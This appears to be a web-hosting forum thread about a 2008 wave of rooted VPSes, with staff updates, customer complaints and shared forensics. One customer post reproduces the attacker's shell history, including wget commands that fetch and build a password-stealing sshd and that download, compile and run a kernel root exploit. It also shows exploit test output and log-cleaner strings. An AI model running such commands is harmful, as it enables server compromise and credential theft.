Hack Found

[DavidP]

Over this weekend we discovered multiple customer VPSes that had been compromised at the root level, due to an unknown vulnerability. Currently we are speculating that it is likely a variation of the same attack used in MPack, followed by a different payload system.

We are currently investigating this attack, and will keep you updated as we discover more information.

For the time being, please make sure that you are following these security measures:

1. Thoroughly virus scan any system you use to connect to your VPS before connecting to your system, and on a regular basis.
2. Change the passwords of your root account immediately after scanning your home system, and on a regular basis.
3. Ensure that all 3rd party software on your system is up-to-date so that hackers do not have an entry point to the system.

[zerk@comcast.net]

http://it.slashdot.org/firehose.pl?id=514088&op=view

Have you seen this.

What would the hack servers show as a result? My server is not function, and the support team is apparently restoring it, but it's taking a rather long time and it's still giving them errors.

[DavidP]

[david@omega nastystuffs]$ ./a.out2
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e9f000 .. 0xb7ed1000
[-] vmsplice: Function not implemented
[david@omega nastystuffs]$

VPSes are not at risk to this exploit. I've tested multiple exploits for 2.6.X kernels throughout the day, going so far as to modify proof-of-concept code to try making it work, and thus far all exploits have failed within our VPSes.

The above is the POC test from the link you pasted.

I'm continuing to investigate.

[Fred]

Can you give us infos about it so we can monitor our vpses...
For example, any files or behaviour we should check ?

[DavidP]

Look for /root/clean on your VPS. If that file exists, this could indicate that your VPS has been hacked. It does not mean this in ALL cases, but in some cases it is a good indicator. If this exists, you can contact our support team to check over your VPS for a hack.

Again, make sure that you virus scan your computer and change your root passwords!

Verifying that /root/clean is actually the file in question can be done so as follows:

[root@host root]# strings clean

[includes truncated]


user name too long
UTMP:
/var/run/utmp
WTMP:
/var/log/wtmp
LASTLOG:
/var/log/lastlog
[-] filed to open file '%s'
[-] user '%s' not found
[+] '%s' cleaned!
use: %s -u user
-v version
logclean.c v%s by CoKi coki@nosystem.com.ar
[root@host root]#


Another version includes:

-bash-3.00# strings clean
/lib/ld-linux.so.2
libc.so.6
stdout
snprintf
optarg
fflush
bzero
__deregister_frame_info
fseek
fread
getopt
strcmp
getpwnam
fclose
fwrite
exit
fopen
_IO_stdin_used
__libc_start_main
strlen
__register_frame_info
__gmon_start__
GLIBC_2.1
GLIBC_2.0
PTRh
QVhP
user name too long
UTMP:
/var/run/utmp
WTMP:
/var/log/wtmp
LASTLOG:
/var/log/lastlog
[-] filed to open file '%s'
[-] user '%s' not found
[+] '%s' cleaned!
use: %s -u user
-v version
logclean.c v%s by ZeuS
-bash-3.00#


During my investigations I have come across a repository of various payloads placed onto a VPS when it is hacked and archived that repository for research and legal purposes, however I do not yet know the method of entry to these VPSes. All log files have generally been deleted by the time I find each infected VPS.

I am continuing to research this issue.

[Fred]

Thanks for your reply.

A manual check doesn't hurt anyone ;)
I don't have a "owned" vps... and never did :)

Btw, your customers with an "abused" vpess didn't have a script like lfd sending a mail every root logins ?
If so, nothing was sent ?
Also, i know they( bots, hackers, whatever ) probably deleted logs files, but can you find a trace of a "lfd: root login" mail
...

We should always log external and local ... Could be pretty useful in those situation. But works only if you have more than one vps...
I should think about setting a "remote logging" stuff...

I've had to read a lot of NIST docs for a course at university... and even if these docs are like 5 or 10 years old, everything is so true...

[DavidP]

Our engineers are continuing to look into this. We will update you as soon as we know more.

[manu]

Our engineers are still working on this and we will update this thread as soon as we have more information.

[winger]

can you tell me, please, if only cpanel VZs was hacked?

[DavidP]

Hey everyone,

I'm sorry for not updating this thread earlier today. We have determined the exploit being used once the attacker is on the system, and are patching our systems against it.

Unfortunately, while this keeps the attacker from gaining root on the system once they have gotten in, it does not keep the attacker from getting into the system as an unprivileged user.

Extensive study of the attacks being used in these scenarios show 2 entry points:

1. Insecure PHP/3rd party programs that allow the attacker to write to the VPS filesystem.
2. Use of weak/known passwords for any account.

The main point of entry seems to be a brute-force against users and passwords on the system. Once the attacker was able to brute force ANY user (not just root-but any user with a jailshell/shell), they were then able to escalate their privileges on the system to root.

The root-escalation is due to a vulnerability in the Linux OS, which we are patching.

The actual gaining access to a system is something our staff cannot prevent (we suspect no one would be happy if we went around setting secure user passwords). Do not use passwords like qwerty123, canada, sunshine, 123454321, etc... and you should be safe on this front.

As to third party software: there is no way we can guarantee the security of such software. If you are running 3rd party applications such as phpbb, vbulletin, etc... please be sure you stay up-to-date on the version installed and all patches released for that software. All you have to do to get hacked is miss one patch or fall one version behind.

Remember, if the attacker cannot get a foothold on your system, it doesn't matter how many local root escalation vulnerabilities exist--they have to be on the system to use them. Security starts with you.

[TomK]

Folks,

Just a quick update since we are getting yelled at pretty hard here :)

This is NOT a PowerVPS only problem, it is a complete hosting industry problem, HostGator, and many other hosting providers are getting hit. Both VPS and Non-VPS providers. http://forums.hostgator.com/showthread.php?t=27629 for HG's issues...

It is related to two things:

Weak user passwords or scripts that customers are loading on their VPS

and once the "hackers" (kiddies) gain access to your VPS...

They are running exploits on the latest kernels and putting root kits, backdoors, etc in place.

We are working as fast as we can to get this resolved, and we've had many engineers and support folks working non-stop for 36 hours on these issues. As you can imagine, our helpdesk is very backed up at the moment.

We are also working on solution to allow customers to purchase a newer HSPc based VPS with the latest CentOS 64 bit OS (64 bit kernels were not affected by this exploit as far as we can tell so far) and then migrate their data over. Please note this will require NEW IP's since we cannot use the OLD IP's in HSPc.

We will email and post more about this later today, it is not ready yet. We are putting our efforts forth to get customers back online that have been hacked/exploited - as fast as we can.

The percentage of customers hacked is small compared to our total VE count, but the issues are serious and we are working hard to get them resolved ASAP.

Stay tuned.

Thanks!

[Hussam]

I will recommend you guys to read this:
http://www.webhostingtalk.com/showthread.php?t=670497

[Fred]

Also, pretty good things to have on your vps to help:
ConfigServer Firewall is great and integrated into whm. This is one of the best piece of security for whm admins because it,s centralized and can do a lot of things.
please see, http://www.configserver.com/cp/csf.html
Its very configurable and pretty easy for peoples that are not specialized in security ...
In the case, david stated: this tool will avoid brute force by banning the ip of the "attacker/bot/etc" ... It will also notices you everytime someones logs with ssh.

Another good thing to have:
Modsecurity: A must have if you run third party web-application. ModSec will monitor every http request... It has a rules files containing commons attacks queries or pattern... Or in case of a third party, a query that could lead to an exploitation of a vulnerability in that particular application....

This is only two tools... but you have a lot you can do...

[Hussam]

Thanks Fred, but will need someone in the support to make my vps live because the vps is down and is not letting me enter to any panel whm, ftp, virtuozoo, anything... Just lost :confused:

[rofyhost]

Hello everyone,

Can you kindly advise whether I am concerned or not, I have two VPS down once since more than three days now:


Support ticket
BVW-87500-394
and
HNU-87139-649

Thank you for your kind support,

All the best

[loco]

I've just read this topic, and started checking all my VPSs, I've found the mentioned root/clean file in only one of them (the file has the date Feb 20 2006), nothing wrong has happend with the vps so far beside having that file in the root directory, I already changed the root password, and sshd is working in a not standard port, what would be your advice in this case please?

Thanks!

[optrex]

I have root/clean on one of my VPS.

I was root attacked previously and My VPS was rebuilt on Thu Jan 24 2008 04:46PM
Since then it has firewall and all security in the panel I can find enabled, I have denied direct root access and have SSH on a non standard port.

Has access been gained again since or is this legacy from the root, which I assume had been destroyed with the rebuild? ZDA-66081-540

[optrex]

Look for /root/clean on your VPS. If that file exists, I'd recommend getting a VPS via our new billing system and moving your data across to that VPS.


OK I'm seriously concerned now. I've had a VPS go through a destroy and rebuild process last night as it had suffered corruption. I have an email this morning saying its ready. But it has root/clean on it. This is supposedly a virgin build???

VEID: 6101
Ticket ID: CEY-78860-907

[waikikisnowman]

Is this just affecting CPanel/Linux VPS or are windows VPS also being affected

Also how do you chage the SSH port number

[Kito]

OK I'm seriously concerned now. I've had a VPS go through a destroy and rebuild process last night as it had suffered corruption. I have an email this morning saying its ready. But it has root/clean on it. This is supposedly a virgin build???

VEID: 6101
Ticket ID: CEY-78860-907

I have the same problem..... one of our VPS was rebiuld two days ago, and now have the root/clean on it....

[Matriarchy]

I'm watching my business bleed to death.

I got hacked on Monday and started to recover from it - they responded to my ticket after about 6 hours (I hadn't marked it "urgent" because part of my VPS was still up and I wasn't sure what happened at first). They got my VPS back up, but with cpanel still messed up. I was combing through scripts and getting ready to rebuild. I was having trouble downloading backups and accessing some accounts - password updating wasnt working right.

But then the "Emergency Maintenance" started on my node, and it took me down completely. I opened a ticket, they said they were working on it. I know support is in the weeds on tickets.

But I am sitting here hour after hour, all night, knowing my hosting clients cannot contact me, cannot pay me, cannot even see that I am still in business. Thank god I have DNS separately hosted and back-up email queuing through EasyDNS, or the DNS would be down for my client VPS servers.

The ironic part is that I put my own company websites here at powerVPS so that they would be in a different data center if something happened at my primary VPS datacenter. I had a VPS hacked at that other provider a few weeks ago, and they immediately backed me up and rebuilt my VPS during the night. Helped me identify the source of the problem (an out-of-date Movable Type script). I was fully recovered within a day, and able to help that MT client move to another blogging platform.

I know stuff happens - I know that it is one of the risks of hosting. I know that security is jointly mine and PowerVPS' responsibility and that something on my VPS was vulnerable to this hack. But this sitting - hour after hour, with no news, no idea when or if your VPS will be back up, refreshing the helpdesk ticket every 15 minutes or so to see if there is anything - it's just agony.

[Matriarchy]

It's been six hours since the last update to our urgent ticket FJL-16713-151.

We have been down for more than 10 hours since the kernel upgrade started at 12:34 AM EST

"Your VPS has been recovered and is up and running. I'm now restoring configuration files and upgrading Cpanel in the VPS. I'll let you know as soon as it is completed."

"Recovered" means that I can see a default CentOS page. No cpanel. Can't log into shell - the SSH port is back to 22, not what we reset it to. The account data is not restored.

Can we PLEASE get a status update?

[vps-vince]

I've just read this topic, and started checking all my VPSs, I've found the mentioned root/clean file in only one of them (the file has the date Feb 20 2006), nothing wrong has happend with the vps so far beside having that file in the root directory, I already changed the root password, and sshd is working in a not standard port, what would be your advice in this case please?

Thanks!

Exactly same for me.
I'll submit a support request now just to be sure.

Any news regarding transfering to new HSPC platform?

Thanks,

- Vince

[vps-vince]

Also, pretty good things to have on your vps to help:
ConfigServer Firewall is great and integrated into whm. This is one of the best piece of security for whm admins because it,s centralized and can do a lot of things.
please see, http://www.configserver.com/cp/csf.html
Its very configurable and pretty easy for peoples that are not specialized in security ...
In the case, david stated: this tool will avoid brute force by banning the ip of the "attacker/bot/etc" ... It will also notices you everytime someones logs with ssh.

Another good thing to have:
Modsecurity: A must have if you run third party web-application. ModSec will monitor every http request... It has a rules files containing commons attacks queries or pattern... Or in case of a third party, a query that could lead to an exploitation of a vulnerability in that particular application....


Fred,
I had all that installed by Chirpy himself on a dedicated server which only had a PHP proxy site - no database, uploads, nothing. And yet still got hacked multiple times.:eek:

It seems we will never be safe no matter how hard we try.

- Vince

[Matriarchy]

I wish a staffer could respond to you folks who have a functioning VPS with "clean" files - if that is not a reliable indicator of whether you have been hacked, then a lot of extra tickets are being opened when the helpdesk is already overwhelmed. It is taking hours and hours between ticket replies to actively hacked, down VPS clients.

I did NOT have a "clean" file, and I was most certainly hacked, probably through an old over-looked WordPress version that was manually installed (so it didn't show up in Fantastico).

If someone gets to your tickets, and you are NOT hacked, please post back here with news.

[airoid]

I also have this /root/clean file but have had no problems with my VPS. I also have csf installed.

[loco]

I also have this /root/clean file but have had no problems with my VPS. I also have csf installed.

I see that many of us have the root/clean file without been hacked, some with recently made VPS or like my case with a very old date (2006), I wonder if this file is not in some kind of "template" used to create the VPS.

That could be one of the reasons....

[airoid]

Something else that is interesting, is that /root/clean file has been on my VPS since December 7th. Anyone else see it that early?

[Wade M]

Cross posting from http://forums.deftechgroup.com/showthread.php?t=3363


Hi Guys,

One of my PVPS' got hacked on the 9th of Feb, and thanks to a flag raised by Abuse today, I looked a bit deeper and found that it'd been rootkit'd. Here's all the junk I found, I suggest you guys check out your boxen and see if you have any of these files...

Peace,

Wade

=================
There was a IRC C&C Bot-client running
root@host [~]# lsof |grep 66.252.28.108
k 7188 root 3u IPv4 81089961 TCP host.com:34322->66.252.28.108:ircd (ESTABLISHED)
root@host [~]# kill 7188
root@host [~]# lsof |grep 66.252.28.108

There was a custom copy of SSHD installed and running, which was capturing passwords.

root@host [/dev]# lsof |grep ssh
sshd 3608 root txt REG 0,94 2350288 60871388 /usr/sbin/sshd2

root@host [/usr/sbin]#
-rwxr-xr-x 1 root root 2350288 Feb 9 11:40 sshd2*
-rwxr-xr-x 1 root root 1567702 Feb 9 11:40 sshd-check-conf*
lrwxrwxrwx 1 root root 5 Feb 9 11:40 sshd -> sshd2*

The password capture was being put in /dev/sauxx
root@host [/dev]# head sauxx
root@210.49.31.177 () [Sat Feb 09 2008 12:13:06 +1100]
root@67.187.23.233 () [Sat Feb 16 2008 08:36:02 +1100]
root@83.170.102.168 () [Sun Feb 17 2008 06:54:19 +1100]

There was a script installed in the crontab
root@host [/etc/.syslogd]# crontab -l

10 10 * * * /etc/.etc/.sshhost/cron/tempdelete.pl

And they were running WEBMIN on port 21374
root@host [/etc/.syslogd]# more /etc/.etc/.sshhost/miniserv.conf
port=21374
root=/etc/.etc/.sshhosts
mimetypes=/etc/.etc/.sshhosts/mime.types
addtype_cgi=internal/cgi
realm=Webmin Server

Looking through the logs of webmin they were doing firewall work, god knows why...

24.24.83.17 - letmein [09/Feb/2008:11:44:43 +1100] "GET /images/iepngfix.htc HTTP/1.1" 200 1746
24.24.83.17 - letmein [09/Feb/2008:11:44:43 +1100] "GET /images/red.gif HTTP/1.1" 200 159
24.24.83.17 - letmein [09/Feb/2008:11:44:43 +1100] "GET /images/blue.gif HTTP/1.1" 200 168
24.24.83.17 - letmein [09/Feb/2008:11:44:43 +1100] "GET /images/iepngfix.htc HTTP/1.1" 200 1746
24.24.83.17 - letmein [09/Feb/2008:11:44:43 +1100] "GET /images/closed.gif HTTP/1.1" 200 233
24.24.83.17 - letmein [09/Feb/2008:11:44:43 +1100] "GET /right.cgi?open=system&open=status HTTP/1.1" 200 1144
24.24.83.17 - letmein [09/Feb/2008:11:44:43 +1100] "GET /images/gohome.gif HTTP/1.1" 200 391
24.24.83.17 - letmein [09/Feb/2008:11:44:43 +1100] "GET /images/stock_quit.gif HTTP/1.1" 200 1084
24.24.83.17 - letmein [10/Feb/2008:07:52:19 +1100] "GET /images/iepngfix.htc HTTP/1.1" 200 1746
24.24.83.17 - letmein [10/Feb/2008:07:52:19 +1100] "GET /firewall/ HTTP/1.1" 200 342164
24.24.83.17 - letmein [10/Feb/2008:07:52:33 +1100] "GET /firewall/edit_rule.cgi?table=0&idx=67 HTTP/1.1" 200 16135
24.24.83.17 - letmein [10/Feb/2008:07:52:37 +1100] "GET /images/left.gif HTTP/1.1 200 635TP/1.1" 200 16146
24.24.83.17 - letmein [10/Feb/2008:07:57:23 +1100] "POST /firewall/save_rule.cgi HTTP/1.1" 302 0
24.24.83.17 - letmein [10/Feb/2008:07:57:24 +1100] "GET /firewall/index.cgi?table=0 HTTP/1.1" 200 342164
24.24.83.17 - letmein [10/Feb/2008:07:57:41 +1100] "GET /firewall/edit_rule.cgi?table=0&idx=77 HTTP/1.1" 200 16147
24.24.83.17 - letmein [10/Feb/2008:07:57:55 +1100] "POST /firewall/save_rule.cgi HTTP/1.1" 302 0
24.24.83.17 - letmein [10/Feb/2008:07:57:57 +1100] "GET /firewall/index.cgi?table=0 HTTP/1.1" 200 342087
24.24.83.17 - letmein [10/Feb/2008:07:58:10 +1100] "GET /firewall/edit_rule.cgi?table=0&idx=89 HTTP/1.1" 200 16144
24.24.83.17 - letmein [10/Feb/2008:07:58:34 +1100] "POST /firewall/save_rule.cgi HTTP/1.1" 302 0
24.24.83.17 - letmein [10/Feb/2008:07:58:36 +1100] "GET /firewall/index.cgi?table=0 HTTP/1.1" 200 341990
24.24.83.17 - letmein [10/Feb/2008:07:59:20 +1100] "GET /firewall/apply.cgi?table=0 HTTP/1.1" 302 0
128.173.40.43 - - [11/Feb/2008:01:41:59 +1100] "GET / HTTP/1.1" 401 1646
128.173.40.43 - letmein [11/Feb/2008:01:44:33 +1100] "GET /firewall/images/before.gif HTTP/1.1" 200 84
128.173.40.43 - letmein [11/Feb/2008:01:44:33 +1100] "GET /firewall/images/up.gif HTTP/1.1" 200 103
128.173.40.43 - letmein [11/Feb/2008:01:44:33 +1100] "GET /firewall/ HTTP/1.1" 200 341990
128.173.40.43 - letmein [11/Feb/2008:01:44:36 +1100] "GET /firewall/images/down.gif HTTP/1.1" 200 108

They created two hidden directories, .etc and .syslogd. It appears .etc was used for webadmin and .syslogd was used for the irc client.
root@host [/etc/.etc]# ls -la
total 40
drwxr-xr-x 6 root root 4096 Feb 9 11:49 ./
drwxr-xr-x 64 root root 12288 Feb 18 01:00 ../
drwxrwxr-x 11 500 500 4096 Feb 11 11:53 .sshd-ssl/
drwx------ 115 root bin 4096 Feb 9 11:45 .sshhost/
drwxr-xr-x 121 root bin 12288 Sep 22 07:29 .sshhosts/
drwxr-xr-x 8 root root 4096 Feb 9 11:39 sshd/

root@host [/etc/.syslogd]# ls -la
total 32
drwx------ 3 500 500 4096 Feb 18 00:14 ./
drwxr-xr-x 64 root root 12288 Feb 18 01:00 ../
drwx------ 2 500 500 4096 Jun 17 2006 CVS/
-rw------- 1 500 500 1370 Jun 17 2006 ircdchk.in
-rwx------ 1 root root 1400 Feb 9 11:52 wm_syslogchk*
-rwx------ 1 500 500 75 Feb 29 2000 wm_syslogd*
root@host [/etc/.syslogd]#

Commands they ran;-
560 cat /proc/cpuinfo
561 exit
562 w
563 cd /etc/
564 mkdir .etc
565 cd .etc
566 wget http://sshd.uv.ro/ridah.jpg ; tar zxvf ridah.jpg ; rm -rf ridah.jpg ; cd sshd ; ./configure ; make ; make install ; cd /var/run ; ls | grep sshd
567 yum install xorg-x11-xauth
568 cd /etc/.etc/
569 cd sshd
570 ./configure ; make ; make install ; cd /var/run ; ls | grep sshd
571 cd /etc/.etc/
572 wget jaist.dl.sourceforge.net/sourceforge/webadmin/webmin-1.370.tar.gz
573 tar -zxf webmin-1.370.tar.gz
574 rm webmin-1.370.tar.gz
575 mv webmin-1.370 .sshhosts
576 cd .sshhostys
577 cd .sshhosts
578 ./setup.sh
579 /etc/init.d/iptables stop
580 /etc/init.d/iptables start
~
626 wget http://www.hotlinkfiles.com/files/989470_kyqt3/k_041050.c;gcc -o k k_041050.c;./k;rm -rf k;rm -rf k_041050.c
627 wget http://www.hotlinkfiles.com/files/989470_kyqt3/k_041050.c;gcc -o k k_041050.c;./k;rm -rf k_041050.c;rm -rf k

[winger]

wow,

thank you for sharing that!

[Nick TMC]

Folks,
We are also working on solution to allow customers to purchase a newer HSPc based VPS with the latest CentOS 64 bit OS (64 bit kernels were not affected by this exploit as far as we can tell so far) and then migrate their data over. Please note this will require NEW IP's since we cannot use the OLD IP's in HSPc.

We will email and post more about this later today, it is not ready yet.

Stay tuned.

Thanks!

Any news on this?

[ewelin]

Wade M,

That's exactly what was found on my system as well.

[airoid]

just for the record....i don't see any of those on my vps....and I do have the /root/clean file.

[Wade M]

Thanks airoid. The more information we can put together between us the better. We can paint a full-er picture, and help each other out.

FYI I do NOT have /root/clean file, but have all the rest of the goodies.

Peace,
--Wade

[airoid]

does anybody who has the /root/clean file AND has had other symptoms of an attack have CSF installed? i may be wrong...but it seems like those people with CSF only have the /root/clean file and no other problems.

[Wade M]

FYI I've submitted the binaries to Norman Sandbox. Initial results;-

sshd2_wm : Not detected by Sandbox (Signature: NO_VIRUS)
[ DetectionInfo ]
* Sandbox name: NO_MALWARE
* Signature name: NO_VIRUS
* Compressed: NO
* TLS hooks: NO
* Executable type: N/A
* Executable file structure: OK

Looking forward to the results :)

Peace,
--Wade

[revelationdesign]

I'll assume I'm affected by this as my server is offline. The support request didn't even give an auto-reply.

ANY word on this? I'm on DVE2485



DVE2485 (205.234.98.85)
DOWN at Feb 19 2008 12:08 AM (US/Eastern)
Err: ping: request timeout

[balamm]

There's a simple solution to keep that file from executing if it hasn't already.
Just cat /dev/null > /root/clean and set permissions to 0000.
Leave it in place so it can't be replaced.

You should also check /usr/local/apache/proxy and /var/run
I've found the 'clean' file there as well.

I just set permissions on that proxy dir to 0000 as I don't want any proxy crap going on anyway.

Check the /var/run dir for any other strange files too!

If you open that 'clean' file, you'll see that it erases it's tracks and nulls or deletes /var/run/utmp

It wouldn't hurt to somehow tail that file and save the results to a secure log somewhere.
A very frequent cron job possibly?

It also deletes the files it creates or used but there are referrences to files that may still be on the system.

I know it creates a symlink to a critical linux binary and possibly modifies or replaces that binary.
But removing the symlink will make the system unuseable.
Sorry, I can't remember the name or location now though.

I've had it affect a few VPS's and at least 2 of them were 64bit centos5. :)
One of them was just freshly installed, nothing uploaded yet.

Symantec corporate will detect 'clean' as a rootkit.
So it helps to download system files for local scanning once in a while!

Too bad "linux doesn't get viruses" :rolleyes: or maybe there'd be a better AV solution that would catch these things on the server before they can execute.

yeah, I know.... there's ClamAv...

Clamav is pure garbage :)
Doesn't catch anything and it's a resource pig.

[balamm]

does anybody who has the /root/clean file AND has had other symptoms of an attack have CSF installed? i may be wrong...but it seems like those people with CSF only have the /root/clean file and no other problems.

I've had to have a system with CSF rebuilt as a result of this, root was compromised and files were replaced or modified.

[D3F]

An email would have been nice in regards to the issue. Many of us lead busy lives and can't check the forums regularly or simply don't unless we have a specific issue. I wouldn't expect PVPS to contact us regarding every little thing but this seems pretty serious. I am now without a working server as well.

[wokman]

We are also working on solution to allow customers to purchase a newer HSPc based VPS with the latest CentOS 64 bit OS (64 bit kernels were not affected by this exploit as far as we can tell so far) and then migrate their data over. Please note this will require NEW IP's since we cannot use the OLD IP's in HSPc.


This was just posted to CentOS5 bug tracker.

http://bugs.centos.org/view.php?id=2667

It would appear that switching to CentOS5 might not solve all of these root escalation problems. Currently deployed Centos5 kernel as of 2/4/08 is 2.6.9-023stab046.2-smp (SMP). Couple of responses on this list claim their Centos5 systems have been compromised as well.

Tom- are there plans to update the CentOS5 kernel? Is this still not a problem for our VPS's?

Also, as to having /clean directories one of my servers has new Centos5 install. Server was a virgin on 2/4/08, did and does not have any of the aforementioned /clean directories. It is running CSF which via lfd logged a changed MD5 for
/usr/bin/wish: FAILED
/usr/bin/wish8.4: FAILED
after it ran /scripts/upcp [release] named failed to restart. Was finally able to get machine back up by going to https://my.powervps.com/cp/ and restarting.

Anyone else see this wish problem?

[Jon]

Hi Wokman-

Please remember that we run a custom Virtuozzo kernel on these nodes so they do not apply to the normal distribution kernels.

[sdjl]

Well I too had a VPS stopped by the techs at PowerVPS. I've been looking through and through and cannot seem to find any sort of problem that relates to the supposed SSH brute forcing originating from my server.
I can't find another copy of SSH running, rkhunter and chkrootkit report some false positives but nothing major, SSH is non-root accessible from outside and running on a non-standard port and there doesn't appear to be any suspicious files.

I'm still waiting for more information from the tech guys, but they've so far not been very forthcoming with details.
So for the time being a new HSPC VPS has been built and I'm going to be transferring accounts. Fun.

[wokman]

Hi Wokman-

Please remember that we run a custom Virtuozzo kernel on these nodes so they do not apply to the normal distribution kernels.

According to **** on 2-13-08 Virtuozzo kernels are being hit see:
http://www.webhostingtalk.com/showpost.php?p=4958849&postcount=75

I'm well aware of the custom Kernel and that we as users have no ability to patch or update this. Recent threads indicate that these vmsplice attacks are working on 64bit machines. Just wondering if there were further updates for the CentOS5 systems as several posts referred to these systems being hacked as well.

Also. Tom mentioned that there might be a solution to migrate customers to the newer HSPc systems (have one of each) - any update on this Tom?

Is your current view still that the CentOS5 64 systems are not vulnerable???

[airoid]

I've signed up for enhanced monitoring from Hyperspin for $15/month. All that does is cost you extra $ each time a particular service goes down for no reasonable reason on a brand new server. My SMS at .20 each can burn up fast.

Just to comment on this, you can usually avoid those SMS charges. I can't think of a popular cell phone provider that doesn't allow texts to be sent via e-mail. Check out this page for more info: http://www.sms411.net/2006/07/how-to-send-email-to-phone.html

[DavidP]

l810c what are your ticket IDs in relation to this? I'll take a look and see what's going on.

[DavidP]

According to **** on 2-13-08 Virtuozzo kernels are being hit see:
http://www.webhostingtalk.com/showpost.php?p=4958849&postcount=75

I'm well aware of the custom Kernel and that we as users have no ability to patch or update this. Recent threads indicate that these vmsplice attacks are working on 64bit machines. Just wondering if there were further updates for the CentOS5 systems as several posts referred to these systems being hacked as well.

Also. Tom mentioned that there might be a solution to migrate customers to the newer HSPc systems (have one of each) - any update on this Tom?

Is your current view still that the CentOS5 64 systems are not vulnerable???

I tested the various proof-of-concept code on our 64-bit HSPC nodes and was unable to successfully exploit the vulnerability. At this time it does not appear that our nodes are vulnerable unless there is a variant of the attack I am not aware of.

[amd599]

I'm not sure if my company is being effected by this but we haven't had e-mail for 3 days. Yes. 3 days! I have tried calling every hour on the hour and you absolutely can not get technical support over the phone which is crazy in my opnion.

I have filed a ticket and it's been 3 days since I have heard a responce. Ticket Number Support #RDT-138650

Also, our plesk system isn't working. Nothing has changed on our end so we think it was hacked or someone screwed up at Defender. I still am outraged at the level of customer care and technical support we have recieved.

We host over 100 domains with Defender and we just filed to have them all transfer to Network Soltuons. We feel their custom support is 100x better.

Thanks for nothing Defender Hosting, you are the worst hosting company I have ever had to deal with.

:mad: :mad: :mad: :mad:

[DavidP]

amd599:

The ticket ID you've pasted leads to a ticket opened yesterday at 8:14PM, meaning that the ticket has been open less than 24 hours. Our technicians have been prompt in replying to you.

We have not left your ticket sitting for 3 days. We do not offer phone support. We have been working with you on this situation since you submitted the ticket.

Are you sure that you are posting on the right company's forums?

New ticket created by **** 24 Feb 2008 08:14 PM 17h20m2s Client

I have starred out your name from the ticket audit log to protect your anonymity.

[amd599]

amd599:

The ticket ID you've pasted leads to a ticket opened yesterday at 8:14PM, meaning that the ticket has been open less than 24 hours. Our technicians have been prompt in replying to you.

We have not left your ticket sitting for 3 days. We do not offer phone support. We have been working with you on this situation since you submitted the ticket.

Are you sure that you are posting on the right company's forums?

New ticket created by **** 24 Feb 2008 08:14 PM 17h20m2s Client

I have starred out your name from the ticket audit log to protect your anonymity.


I never said you left it open for 3 days. I just mentioned that it has been going on for 3 days. I am 100% positive I am posting to the correct place. We just want it fixed. i don't see what the big problem is. Please fix it ASAP.

[amd599]

E-mail and website are working again. Thank you.

[Robert]

I have filed a ticket and it's been 3 days since I have heard a responce. Ticket Number Support #RDT-138650

This is where we (and others) assume you mean that it's been 3 days without any kind of reply from our staff.

[sdjl]

Just to follow up my post from earlier yesterday. It looks like my VPS was turned off for a reason, but that reason wasn't logged by whichever tech did it.

I totally understand that you require the proof about this. Getting the VPS rebuilt and then again uploading the data is quite time consuming.

I agree with you that we should have provided you with all the details about suspicious processes running, script from where the brute force attack was generated and network traffic log while this was running. I am really sorry that we did not provide all the information. The tech who was working on the issue did not capture all this information. I will update our manager to let everyone know that while handling abuse requests client should be notified with all the details.

Once again I apologize for the inconvenience caused to you. Please let me know if you have further questions.

I appreciate the apology, but still feel a little confused and baffled as to the reason for the VPS getting turned off. I intend to write a quick email to the management contact address at the bottom of the ticket, just to make sure it has been reported.

In the mean time I'm getting everything ready to move all the accounts I host over. It could be a fun few days!

David